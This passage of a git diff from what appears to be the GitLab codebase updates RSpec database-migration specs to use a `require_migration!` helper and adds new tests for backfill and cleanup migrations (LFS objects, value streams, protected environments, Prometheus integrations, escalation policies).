let(:segments_table) { table(:analytics_devops_adoption_segments) }
let(:snapshots_table) { table(:analytics_devops_adoption_snapshots) }
- before do
+ it 'updates all snapshots without namespace set' do
namespaces_table.create!(id: 123, name: 'group1', path: 'group1')
namespaces_table.create!(id: 124, name: 'group2', path: 'group2')
@@ -19,9 +19,7 @@ RSpec.describe CopyAdoptionSnapshotNamespace, :migration do
create_snapshot(id: 1, segment_id: 1)
create_snapshot(id: 2, segment_id: 2)
create_snapshot(id: 3, segment_id: 2, namespace_id: 123)
- end
- it 'updates all snapshots without namespace set' do
migrate!
expect(snapshots_table.find(1).namespace_id).to eq 123
diff --git a/spec/migrations/20210430135954_copy_adoption_segments_namespace_spec.rb b/spec/migrations/20210430135954_copy_adoption_segments_namespace_spec.rb
index a37772db28c..abdfd03f97e 100644
--- a/spec/migrations/20210430135954_copy_adoption_segments_namespace_spec.rb
+++ b/spec/migrations/20210430135954_copy_adoption_segments_namespace_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210430135954_copy_adoption_segments_namespace.rb')
+require_migration!('copy_adoption_segments_namespace')
RSpec.describe CopyAdoptionSegmentsNamespace, :migration do
let(:namespaces_table) { table(:namespaces) }
diff --git a/spec/migrations/20210503105845_add_project_value_stream_id_to_project_stages_spec.rb b/spec/migrations/20210503105845_add_project_value_stream_id_to_project_stages_spec.rb
index 6e1cc63e42a..4969d82d183 100644
--- a/spec/migrations/20210503105845_add_project_value_stream_id_to_project_stages_spec.rb
+++ b/spec/migrations/20210503105845_add_project_value_stream_id_to_project_stages_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20210503105845_add_project_value_stream_id_to_project_stages.rb')
+require_migration!('add_project_value_stream_id_to_project_stages')
RSpec.describe AddProjectValueStreamIdToProjectStages, schema: 20210503105022 do
let(:stages) { table(:analytics_cycle_analytics_project_stages) }
diff --git a/spec/migrations/20210511142748_schedule_drop_invalid_vulnerabilities2_spec.rb b/spec/migrations/20210511142748_schedule_drop_invalid_vulnerabilities2_spec.rb
index 6ffaa26f923..969a2e58947 100644
--- a/spec/migrations/20210511142748_schedule_drop_invalid_vulnerabilities2_spec.rb
+++ b/spec/migrations/20210511142748_schedule_drop_invalid_vulnerabilities2_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210511142748_schedule_drop_invalid_vulnerabilities2.rb')
+require_migration!('schedule_drop_invalid_vulnerabilities2')
RSpec.describe ScheduleDropInvalidVulnerabilities2, :migration do
let_it_be(:background_migration_jobs) { table(:background_migration_jobs) }
diff --git a/spec/migrations/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects_spec.rb b/spec/migrations/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects_spec.rb
new file mode 100644
index 00000000000..b7524ee0bff
--- /dev/null
+++ b/spec/migrations/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects_spec.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!('schedule_cleanup_orphaned_lfs_objects_projects')
+
+RSpec.describe ScheduleCleanupOrphanedLfsObjectsProjects, schema: 20210511165250 do
+ let(:lfs_objects_projects) { table(:lfs_objects_projects) }
+ let(:projects) { table(:projects) }
+ let(:namespaces) { table(:namespaces) }
+ let(:lfs_objects) { table(:lfs_objects) }
+
+ let(:namespace) { namespaces.create!(name: 'namespace', path: 'namespace') }
+ let(:project) { projects.create!(namespace_id: namespace.id) }
+ let(:another_project) { projects.create!(namespace_id: namespace.id) }
+ let(:lfs_object) { lfs_objects.create!(oid: 'abcdef', size: 1) }
+ let(:another_lfs_object) { lfs_objects.create!(oid: '1abcde', size: 2) }
+
+ describe '#up' do
+ it 'schedules CleanupOrphanedLfsObjectsProjects background jobs' do
+ stub_const("#{described_class}::BATCH_SIZE", 2)
+
+ lfs_objects_project1 = lfs_objects_projects.create!(project_id: project.id, lfs_object_id: lfs_object.id)
+ lfs_objects_project2 = lfs_objects_projects.create!(project_id: another_project.id, lfs_object_id: lfs_object.id)
+ lfs_objects_project3 = lfs_objects_projects.create!(project_id: project.id, lfs_object_id: another_lfs_object.id)
+ lfs_objects_project4 = lfs_objects_projects.create!(project_id: another_project.id, lfs_object_id: another_lfs_object.id)
+
+ freeze_time do
+ migrate!
+
+ expect(described_class::MIGRATION).to be_scheduled_delayed_migration(2.minutes, lfs_objects_project1.id, lfs_objects_project2.id)
+ expect(described_class::MIGRATION).to be_scheduled_delayed_migration(4.minutes, lfs_objects_project3.id, lfs_objects_project4.id)
+
+ expect(BackgroundMigrationWorker.jobs.size).to eq(2)
+ end
+ end
+ end
+end
diff --git a/spec/migrations/20210601073400_fix_total_stage_in_vsa_spec.rb b/spec/migrations/20210601073400_fix_total_stage_in_vsa_spec.rb
new file mode 100644
index 00000000000..36d85d1f745
--- /dev/null
+++ b/spec/migrations/20210601073400_fix_total_stage_in_vsa_spec.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!('fix_total_stage_in_vsa')
+
+RSpec.describe FixTotalStageInVsa, :migration, schema: 20210518001450 do
+ let(:namespaces) { table(:namespaces) }
+ let(:group_value_streams) { table(:analytics_cycle_analytics_group_value_streams) }
+ let(:group_stages) { table(:analytics_cycle_analytics_group_stages) }
+
+ let!(:group) { namespaces.create!(name: 'ns1', path: 'ns1', type: 'Group') }
+ let!(:group_vs_1) { group_value_streams.create!(name: 'default', group_id: group.id) }
+ let!(:group_vs_2) { group_value_streams.create!(name: 'other', group_id: group.id) }
+ let!(:group_vs_3) { group_value_streams.create!(name: 'another', group_id: group.id) }
+ let!(:group_stage_total) { group_stages.create!(name: 'Total', custom: false, group_id: group.id, group_value_stream_id: group_vs_1.id, start_event_identifier: 1, end_event_identifier: 2) }
+ let!(:group_stage_different_name) { group_stages.create!(name: 'Issue', custom: false, group_id: group.id, group_value_stream_id: group_vs_2.id, start_event_identifier: 1, end_event_identifier: 2) }
+ let!(:group_stage_total_custom) { group_stages.create!(name: 'Total', custom: true, group_id: group.id, group_value_stream_id: group_vs_3.id, start_event_identifier: 1, end_event_identifier: 2) }
+
+ it 'deduplicates issue_metrics table' do
+ migrate!
+
+ group_stage_total.reload
+ group_stage_different_name.reload
+ group_stage_total_custom.reload
+
+ expect(group_stage_total.custom).to eq(true)
+ expect(group_stage_different_name.custom).to eq(false)
+ expect(group_stage_total_custom.custom).to eq(true)
+ end
+end
diff --git a/spec/migrations/20210601080039_group_protected_environments_add_index_and_constraint_spec.rb b/spec/migrations/20210601080039_group_protected_environments_add_index_and_constraint_spec.rb
new file mode 100644
index 00000000000..d3154596b26
--- /dev/null
+++ b/spec/migrations/20210601080039_group_protected_environments_add_index_and_constraint_spec.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!('group_protected_environments_add_index_and_constraint')
+
+RSpec.describe GroupProtectedEnvironmentsAddIndexAndConstraint do
+ let(:migration) { described_class.new }
+ let(:protected_environments) { table(:protected_environments) }
+ let(:group) { table(:namespaces).create!(name: 'group', path: 'group') }
+ let(:project) { table(:projects).create!(name: 'project', path: 'project', namespace_id: group.id) }
+
+ describe '#down' do
+ it 'deletes only group-level configurations' do
+ migration.up
+
+ project_protections = [
+ protected_environments.create!(project_id: project.id, name: 'production'),
+ protected_environments.create!(project_id: project.id, name: 'staging')
+ ]
+ protected_environments.create!(group_id: group.id, name: 'production')
+ protected_environments.create!(group_id: group.id, name: 'staging')
+
+ migration.down
+
+ expect(protected_environments.pluck(:id))
+ .to match_array project_protections.map(&:id)
+ end
+ end
+end
diff --git a/spec/migrations/20210603222333_remove_builds_email_service_from_services_spec.rb b/spec/migrations/20210603222333_remove_builds_email_service_from_services_spec.rb
new file mode 100644
index 00000000000..c457be79834
--- /dev/null
+++ b/spec/migrations/20210603222333_remove_builds_email_service_from_services_spec.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!('remove_builds_email_service_from_services')
+
+RSpec.describe RemoveBuildsEmailServiceFromServices do
+ let(:namespaces) { table(:namespaces) }
+ let(:projects) { table(:projects) }
+ let(:services) { table(:services) }
+ let(:namespace) { namespaces.create!(name: 'foo', path: 'bar') }
+ let(:project) { projects.create!(namespace_id: namespace.id) }
+
+ it 'correctly deletes `BuildsEmailService` services' do
+ services.create!(project_id: project.id, type: 'BuildsEmailService')
+ services.create!(project_id: project.id, type: 'OtherService')
+
+ expect(services.all.pluck(:type)).to match_array %w[BuildsEmailService OtherService]
+
+ migrate!
+
+ expect(services.all.pluck(:type)).to eq %w[OtherService]
+ end
+end
diff --git a/spec/migrations/add_default_and_free_plans_spec.rb b/spec/migrations/add_default_and_free_plans_spec.rb
index 75787896999..7256e4928af 100644
--- a/spec/migrations/add_default_and_free_plans_spec.rb
+++ b/spec/migrations/add_default_and_free_plans_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20191023152913_add_default_and_free_plans.rb')
+require_migration!('add_default_and_free_plans')
RSpec.describe AddDefaultAndFreePlans do
describe 'migrate' do
diff --git a/spec/migrations/add_default_value_stream_to_groups_with_group_stages_spec.rb b/spec/migrations/add_default_value_stream_to_groups_with_group_stages_spec.rb
index 31dee29a39b..f21acbc56df 100644
--- a/spec/migrations/add_default_value_stream_to_groups_with_group_stages_spec.rb
+++ b/spec/migrations/add_default_value_stream_to_groups_with_group_stages_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200701070435_add_default_value_stream_to_groups_with_group_stages.rb')
+require_migration!
RSpec.describe AddDefaultValueStreamToGroupsWithGroupStages, schema: 20200624142207 do
let(:groups) { table(:namespaces) }
diff --git a/spec/migrations/add_deploy_token_type_to_deploy_tokens_spec.rb b/spec/migrations/add_deploy_token_type_to_deploy_tokens_spec.rb
index b33320c922a..f90bfcd313c 100644
--- a/spec/migrations/add_deploy_token_type_to_deploy_tokens_spec.rb
+++ b/spec/migrations/add_deploy_token_type_to_deploy_tokens_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200122161638_add_deploy_token_type_to_deploy_tokens.rb')
+require_migration!
RSpec.describe AddDeployTokenTypeToDeployTokens do
let(:deploy_tokens) { table(:deploy_tokens) }
diff --git a/spec/migrations/add_incident_settings_to_all_existing_projects_spec.rb b/spec/migrations/add_incident_settings_to_all_existing_projects_spec.rb
index a62fc43df02..3e0bc64bb23 100644
--- a/spec/migrations/add_incident_settings_to_all_existing_projects_spec.rb
+++ b/spec/migrations/add_incident_settings_to_all_existing_projects_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200609212701_add_incident_settings_to_all_existing_projects.rb')
+require_migration!
RSpec.describe AddIncidentSettingsToAllExistingProjects, :migration do
let(:project_incident_management_settings) { table(:project_incident_management_settings) }
diff --git a/spec/migrations/add_new_post_eoa_plans_spec.rb b/spec/migrations/add_new_post_eoa_plans_spec.rb
index 5ae227a6617..02360d5a12d 100644
--- a/spec/migrations/add_new_post_eoa_plans_spec.rb
+++ b/spec/migrations/add_new_post_eoa_plans_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210205104425_add_new_post_eoa_plans.rb')
+require_migration!
RSpec.describe AddNewPostEoaPlans do
let(:plans) { table(:plans) }
diff --git a/spec/migrations/add_partial_index_to_ci_builds_table_on_user_id_name_spec.rb b/spec/migrations/add_partial_index_to_ci_builds_table_on_user_id_name_spec.rb
index 018d48bea66..ab4d6f43797 100644
--- a/spec/migrations/add_partial_index_to_ci_builds_table_on_user_id_name_spec.rb
+++ b/spec/migrations/add_partial_index_to_ci_builds_table_on_user_id_name_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200908064229_add_partial_index_to_ci_builds_table_on_user_id_name.rb')
+require_migration!
RSpec.describe AddPartialIndexToCiBuildsTableOnUserIdName do
let(:migration) { described_class.new }
diff --git a/spec/migrations/add_repository_storages_weighted_to_application_settings_spec.rb b/spec/migrations/add_repository_storages_weighted_to_application_settings_spec.rb
index 6c6c63d8614..bc4c510fea3 100644
--- a/spec/migrations/add_repository_storages_weighted_to_application_settings_spec.rb
+++ b/spec/migrations/add_repository_storages_weighted_to_application_settings_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200508203901_add_repository_storages_weighted_to_application_settings.rb')
+require_migration!
RSpec.describe AddRepositoryStoragesWeightedToApplicationSettings, :migration do
let(:storages) { { "foo" => {}, "baz" => {} } }
diff --git a/spec/migrations/add_temporary_partial_index_on_project_id_to_services_spec.rb b/spec/migrations/add_temporary_partial_index_on_project_id_to_services_spec.rb
index 1be699f5636..dae0241b895 100644
--- a/spec/migrations/add_temporary_partial_index_on_project_id_to_services_spec.rb
+++ b/spec/migrations/add_temporary_partial_index_on_project_id_to_services_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200114112932_add_temporary_partial_index_on_project_id_to_services.rb')
+require_migration!
RSpec.describe AddTemporaryPartialIndexOnProjectIdToServices do
let(:migration) { described_class.new }
diff --git a/spec/migrations/add_unique_constraint_to_approvals_user_id_and_merge_request_id_spec.rb b/spec/migrations/add_unique_constraint_to_approvals_user_id_and_merge_request_id_spec.rb
index 391bc59cdc0..795de51d387 100644
--- a/spec/migrations/add_unique_constraint_to_approvals_user_id_and_merge_request_id_spec.rb
+++ b/spec/migrations/add_unique_constraint_to_approvals_user_id_and_merge_request_id_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190404143330_add_unique_constraint_to_approvals_user_id_and_merge_request_id.rb')
+require_migration!
RSpec.describe AddUniqueConstraintToApprovalsUserIdAndMergeRequestId do
let(:migration) { described_class.new }
diff --git a/spec/migrations/backfill_and_add_not_null_constraint_to_released_at_column_on_releases_table_spec.rb b/spec/migrations/backfill_and_add_not_null_constraint_to_released_at_column_on_releases_table_spec.rb
index 6c782af9a31..ea6599fc122 100644
--- a/spec/migrations/backfill_and_add_not_null_constraint_to_released_at_column_on_releases_table_spec.rb
+++ b/spec/migrations/backfill_and_add_not_null_constraint_to_released_at_column_on_releases_table_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20190628185004_backfill_and_add_not_null_constraint_to_released_at_column_on_releases_table.rb')
+require_migration!
RSpec.describe BackfillAndAddNotNullConstraintToReleasedAtColumnOnReleasesTable do
let(:releases) { table(:releases) }
diff --git a/spec/migrations/backfill_clusters_integration_prometheus_enabled_spec.rb b/spec/migrations/backfill_clusters_integration_prometheus_enabled_spec.rb
new file mode 100644
index 00000000000..6c116120f05
--- /dev/null
+++ b/spec/migrations/backfill_clusters_integration_prometheus_enabled_spec.rb
@@ -0,0 +1,80 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe BackfillClustersIntegrationPrometheusEnabled, :migration do
+ def create_cluster!(label = rand(2**64).to_s)
+ table(:clusters).create!(
+ name: "cluster: #{label}",
+ created_at: 1.day.ago,
+ updated_at: 1.day.ago
+ )
+ end
+
+ def create_clusters_applications_prometheus!(label, status:, cluster_id: nil)
+ table(:clusters_applications_prometheus).create!(
+ cluster_id: cluster_id || create_cluster!(label).id,
+ status: status,
+ version: "#{label}: version",
+ created_at: 1.day.ago, # artificially aged
+ updated_at: 1.day.ago, # artificially aged
+ encrypted_alert_manager_token: "#{label}: token",
+ encrypted_alert_manager_token_iv: "#{label}: iv"
+ )
+ end
+
+ def create_clusters_integration_prometheus!
+ table(:clusters_integration_prometheus).create!(
+ cluster_id: create_cluster!.id,
+ enabled: false,
+ created_at: 1.day.ago,
+ updated_at: 1.day.ago
+ )
+ end
+
+ RSpec::Matchers.define :be_enabled_and_match_application_values do |application|
+ match do |actual|
+ actual.enabled == true &&
+ actual.encrypted_alert_manager_token == application.encrypted_alert_manager_token &&
+ actual.encrypted_alert_manager_token_iv == application.encrypted_alert_manager_token_iv
+ end
+ end
+
+ describe '#up' do
+ it 'backfills the enabled status and alert manager credentials from clusters_applications_prometheus' do
+ status_installed = 3
+ status_externally_installed = 11
+ status_installable = 0
+
+ existing_integration = create_clusters_integration_prometheus!
+ unaffected_existing_integration = create_clusters_integration_prometheus!
+ app_installed = create_clusters_applications_prometheus!('installed', status: status_installed)
+ app_installed_existing_integration = create_clusters_applications_prometheus!('installed, existing integration', status: status_installed, cluster_id: existing_integration.cluster_id)
+ app_externally_installed = create_clusters_applications_prometheus!('externally installed', status: status_externally_installed)
+ app_other_status = create_clusters_applications_prometheus!('other status', status: status_installable)
+
+ migrate!
+
+ integrations = table(:clusters_integration_prometheus).all.index_by(&:cluster_id)
+
+ expect(unaffected_existing_integration.reload).to eq unaffected_existing_integration
+
+ integration_installed = integrations[app_installed.cluster_id]
+ expect(integration_installed).to be_enabled_and_match_application_values(app_installed)
+ expect(integration_installed.updated_at).to be >= 1.minute.ago # recently updated
+ expect(integration_installed.updated_at).to eq(integration_installed.created_at) # recently created
+
+ expect(existing_integration.reload).to be_enabled_and_match_application_values(app_installed_existing_integration)
+ expect(existing_integration.updated_at).to be >= 1.minute.ago # recently updated
+ expect(existing_integration.updated_at).not_to eq(existing_integration.created_at) # but not recently created
+
+ integration_externally_installed = integrations[app_externally_installed.cluster_id]
+ expect(integration_externally_installed).to be_enabled_and_match_application_values(app_externally_installed)
+ expect(integration_externally_installed.updated_at).to be >= 1.minute.ago # recently updated
+ expect(integration_externally_installed.updated_at).to eq(integration_externally_installed.created_at) # recently created
+
+ expect(integrations[app_other_status.cluster_id]).to be_nil
+ end
+ end
+end
diff --git a/spec/migrations/backfill_escalation_policies_for_oncall_schedules_spec.rb b/spec/migrations/backfill_escalation_policies_for_oncall_schedules_spec.rb
new file mode 100644
index 00000000000..da32e92ebb0
--- /dev/null
+++ b/spec/migrations/backfill_escalation_policies_for_oncall_schedules_spec.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe BackfillEscalationPoliciesForOncallSchedules do
+ let_it_be(:projects) { table(:projects) }
+ let_it_be(:schedules) { table(:incident_management_oncall_schedules) }
+ let_it_be(:policies) { table(:incident_management_escalation_policies) }
+ let_it_be(:rules) { table(:incident_management_escalation_rules) }
+
+ # Project with no schedules
+ let_it_be(:namespace) { table(:namespaces).create!(name: 'gitlab', path: 'gitlab') }
+ let_it_be(:project_a) { projects.create!(namespace_id: namespace.id) }
+
+ context 'with backfill-able schedules' do
+ # Project with one schedule
+ let_it_be(:project_b) { projects.create!(namespace_id: namespace.id) }
+ let_it_be(:schedule_b1) { schedules.create!(project_id: project_b.id, iid: 1, name: 'Schedule B1') }
+
+ # Project with multiple schedules
+ let_it_be(:project_c) { projects.create!(namespace_id: namespace.id) }
+ let_it_be(:schedule_c1) { schedules.create!(project_id: project_c.id, iid: 1, name: 'Schedule C1') }
+ let_it_be(:schedule_c2) { schedules.create!(project_id: project_c.id, iid: 2, name: 'Schedule C2') }
+
+ # Project with a single schedule which already has a policy
+ let_it_be(:project_d) { projects.create!(namespace_id: namespace.id) }
+ let_it_be(:schedule_d1) { schedules.create!(project_id: project_d.id, iid: 1, name: 'Schedule D1') }
+ let_it_be(:policy_d1) { policies.create!(project_id: project_d.id, name: 'Policy D1') }
+ let_it_be(:rule_d1) { rules.create!(policy_id: policy_d1.id, oncall_schedule_id: schedule_d1.id, status: 2, elapsed_time_seconds: 60) }
+
+ # Project with a multiple schedule, one of which already has a policy
+ let_it_be(:project_e) { projects.create!(namespace_id: namespace.id) }
+ let_it_be(:schedule_e1) { schedules.create!(project_id: project_e.id, iid: 1, name: 'Schedule E1') }
+ let_it_be(:schedule_e2) { schedules.create!(project_id: project_e.id, iid: 2, name: 'Schedule E2') }
+ let_it_be(:policy_e1) { policies.create!(project_id: project_e.id, name: 'Policy E1') }
+ let_it_be(:rule_e1) { rules.create!(policy_id: policy_e1.id, oncall_schedule_id: schedule_e2.id, status: 2, elapsed_time_seconds: 60) }
+
+ # Project with a multiple schedule, with multiple policies
+ let_it_be(:project_f) { projects.create!(namespace_id: namespace.id) }
+ let_it_be(:schedule_f1) { schedules.create!(project_id: project_f.id, iid: 1, name: 'Schedule F1') }
+ let_it_be(:schedule_f2) { schedules.create!(project_id: project_f.id, iid: 2, name: 'Schedule F2') }
+ let_it_be(:policy_f1) { policies.create!(project_id: project_f.id, name: 'Policy F1') }
+ let_it_be(:rule_f1) { rules.create!(policy_id: policy_f1.id, oncall_schedule_id: schedule_f1.id, status: 2, elapsed_time_seconds: 60) }
+ let_it_be(:rule_f2) { rules.create!(policy_id: policy_f1.id, oncall_schedule_id: schedule_f2.id, status: 2, elapsed_time_seconds: 60) }
+ let_it_be(:policy_f2) { policies.create!(project_id: project_f.id, name: 'Policy F2') }
+ let_it_be(:rule_f3) { rules.create!(policy_id: policy_f2.id, oncall_schedule_id: schedule_f2.id, status: 1, elapsed_time_seconds: 10) }
+
+ it 'backfills escalation policies correctly' do
+ expect { migrate! }
+ .to change(policies, :count).by(2)
+ .and change(rules, :count).by(3)
+
+ new_policy_b1, new_policy_c1 = new_polices = policies.last(2)
+ new_rules = rules.last(3)
+
+ expect(new_polices).to all have_attributes(name: 'On-call Escalation Policy')
+ expect(new_policy_b1.description).to eq('Immediately notify Schedule B1')
+ expect(new_policy_c1.description).to eq('Immediately notify Schedule C1')
+ expect(policies.pluck(:project_id)).to eq([
+ project_d.id,
+ project_e.id,
+ project_f.id,
+ project_f.id,
+ project_b.id,
+ project_c.id
+ ])
+
+ expect(new_rules).to all have_attributes(status: 1, elapsed_time_seconds: 0)
+ expect(rules.pluck(:policy_id)).to eq([
+ rule_d1.policy_id,
+ rule_e1.policy_id,
+ rule_f1.policy_id,
+ rule_f2.policy_id,
+ rule_f3.policy_id,
+ new_policy_b1.id,
+ new_policy_c1.id,
+ new_policy_c1.id
+ ])
+ expect(rules.pluck(:oncall_schedule_id)).to eq([
+ rule_d1.oncall_schedule_id,
+ rule_e1.oncall_schedule_id,
+ rule_f1.oncall_schedule_id,
+ rule_f2.oncall_schedule_id,
+ rule_f3.oncall_schedule_id,
+ schedule_b1.id,
+ schedule_c1.id,
+ schedule_c2.id
+ ])
+ end
+ end
+
+ context 'with no schedules' do
+ it 'does nothing' do
+ expect { migrate! }
+ .to not_change(policies, :count)
+ .and not_change(rules, :count)
+ end
+ end
+end
diff --git a/spec/migrations/backfill_imported_snippet_repositories_spec.rb b/spec/migrations/backfill_imported_snippet_repositories_spec.rb
index 356551f176e..7052433c66d 100644
--- a/spec/migrations/backfill_imported_snippet_repositories_spec.rb
+++ b/spec/migrations/backfill_imported_snippet_repositories_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200608072931_backfill_imported_snippet_repositories.rb')
+require_migration!
RSpec.describe BackfillImportedSnippetRepositories do
let(:users) { table(:users) }
diff --git a/spec/migrations/backfill_operations_feature_flags_active_spec.rb b/spec/migrations/backfill_operations_feature_flags_active_spec.rb
index e49b317d850..a28f648c75a 100644
--- a/spec/migrations/backfill_operations_feature_flags_active_spec.rb
+++ b/spec/migrations/backfill_operations_feature_flags_active_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20191213184609_backfill_operations_feature_flags_active.rb')
+require_migration!
RSpec.describe BackfillOperationsFeatureFlagsActive do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/backfill_operations_feature_flags_iid_spec.rb b/spec/migrations/backfill_operations_feature_flags_iid_spec.rb
index 1ade08f657e..3c400840f98 100644
--- a/spec/migrations/backfill_operations_feature_flags_iid_spec.rb
+++ b/spec/migrations/backfill_operations_feature_flags_iid_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200117194850_backfill_operations_feature_flags_iid.rb')
+require_migration!
RSpec.describe BackfillOperationsFeatureFlagsIid do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/backfill_releases_table_updated_at_and_add_not_null_constraints_to_timestamps_spec.rb b/spec/migrations/backfill_releases_table_updated_at_and_add_not_null_constraints_to_timestamps_spec.rb
index 22c93d37816..6e8bcfc050d 100644
--- a/spec/migrations/backfill_releases_table_updated_at_and_add_not_null_constraints_to_timestamps_spec.rb
+++ b/spec/migrations/backfill_releases_table_updated_at_and_add_not_null_constraints_to_timestamps_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20190920194925_backfill_releases_table_updated_at_and_add_not_null_constraints_to_timestamps.rb')
+require_migration!
RSpec.describe BackfillReleasesTableUpdatedAtAndAddNotNullConstraintsToTimestamps do
let(:releases) { table(:releases) }
diff --git a/spec/migrations/backfill_snippet_repositories_spec.rb b/spec/migrations/backfill_snippet_repositories_spec.rb
index b176b8d49ec..64cfc9cc57b 100644
--- a/spec/migrations/backfill_snippet_repositories_spec.rb
+++ b/spec/migrations/backfill_snippet_repositories_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200420094444_backfill_snippet_repositories.rb')
+require_migration!
RSpec.describe BackfillSnippetRepositories do
let(:users) { table(:users) }
diff --git a/spec/migrations/backfill_status_page_published_incidents_spec.rb b/spec/migrations/backfill_status_page_published_incidents_spec.rb
index 674484cdf0a..fa4bb182362 100644
--- a/spec/migrations/backfill_status_page_published_incidents_spec.rb
+++ b/spec/migrations/backfill_status_page_published_incidents_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200421195234_backfill_status_page_published_incidents.rb')
+require_migration!
RSpec.describe BackfillStatusPagePublishedIncidents, :migration do
subject(:migration) { described_class.new }
diff --git a/spec/migrations/backport_enterprise_schema_spec.rb b/spec/migrations/backport_enterprise_schema_spec.rb
index b76b53dc259..de6821001b4 100644
--- a/spec/migrations/backport_enterprise_schema_spec.rb
+++ b/spec/migrations/backport_enterprise_schema_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20190402150158_backport_enterprise_schema.rb')
+require_migration!
RSpec.describe BackportEnterpriseSchema, schema: 20190329085614 do
include MigrationsHelpers
diff --git a/spec/migrations/cap_designs_filename_length_to_new_limit_spec.rb b/spec/migrations/cap_designs_filename_length_to_new_limit_spec.rb
index 382ce2e1da4..702f2e6d9bd 100644
--- a/spec/migrations/cap_designs_filename_length_to_new_limit_spec.rb
+++ b/spec/migrations/cap_designs_filename_length_to_new_limit_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200602013901_cap_designs_filename_length_to_new_limit')
+require_migration!
RSpec.describe CapDesignsFilenameLengthToNewLimit, :migration, schema: 20200528125905 do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/change_outbound_local_requests_whitelist_default_spec.rb b/spec/migrations/change_outbound_local_requests_whitelist_default_spec.rb
index 53b02425010..24e6f3480f9 100644
--- a/spec/migrations/change_outbound_local_requests_whitelist_default_spec.rb
+++ b/spec/migrations/change_outbound_local_requests_whitelist_default_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20190725012225_change_outbound_local_requests_whitelist_default.rb')
+require_migration!
RSpec.describe ChangeOutboundLocalRequestsWhitelistDefault do
let(:application_settings) { table(:application_settings) }
diff --git a/spec/migrations/change_packages_size_defaults_in_project_statistics_spec.rb b/spec/migrations/change_packages_size_defaults_in_project_statistics_spec.rb
index 8614bfea7cb..5e3118b0dea 100644
--- a/spec/migrations/change_packages_size_defaults_in_project_statistics_spec.rb
+++ b/spec/migrations/change_packages_size_defaults_in_project_statistics_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20190516155724_change_packages_size_defaults_in_project_statistics.rb')
+require_migration!
RSpec.describe ChangePackagesSizeDefaultsInProjectStatistics do
let(:project_statistics) { table(:project_statistics) }
diff --git a/spec/migrations/change_web_hook_events_default_spec.rb b/spec/migrations/change_web_hook_events_default_spec.rb
index 3b1a65ece17..aad187187d0 100644
--- a/spec/migrations/change_web_hook_events_default_spec.rb
+++ b/spec/migrations/change_web_hook_events_default_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20210420012444_change_web_hook_events_default.rb')
+require_migration!
RSpec.describe ChangeWebHookEventsDefault do
let(:web_hooks) { table(:web_hooks) }
diff --git a/spec/migrations/clean_grafana_url_spec.rb b/spec/migrations/clean_grafana_url_spec.rb
index caaf44b884d..7a81eb3058b 100644
--- a/spec/migrations/clean_grafana_url_spec.rb
+++ b/spec/migrations/clean_grafana_url_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
